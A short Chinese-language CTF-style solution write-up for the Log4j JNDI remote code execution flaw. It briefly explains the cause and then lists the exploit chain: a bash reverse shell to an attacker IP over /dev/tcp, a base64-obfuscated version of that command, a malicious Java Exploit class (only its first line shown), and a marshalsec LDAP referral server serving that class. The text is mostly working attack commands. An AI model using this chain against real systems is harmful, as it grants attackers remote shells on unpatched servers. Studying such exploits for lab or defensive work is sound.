题解思路
成因
该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。这里面有一个关键点就是,什么是JNDI,为什么JNDI可以造成RCE
编写恶意代码
反弹shell
1 | bash -i >& /dev/tcp/192.168.31.241/44443 0>&1 |
进行base64编码
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0MS80NDQ0MyAwPiYx}|{base64,-d}|{bash,-i} |
编写恶意类为了在LDAP服务中进行使用
1 | import java.lang.Runtime; |
编译
`javac .\Exploit.java`
开启服务转发
实际应用过程中需要使用公网来反弹,或者端口映射
搭建服务器1389为LDAP服务的端口
现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口
git clone https://github.com/mbechler/marshalsec.git
开启服务
1 | java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.31.241:8080/#Exploit" 1389 |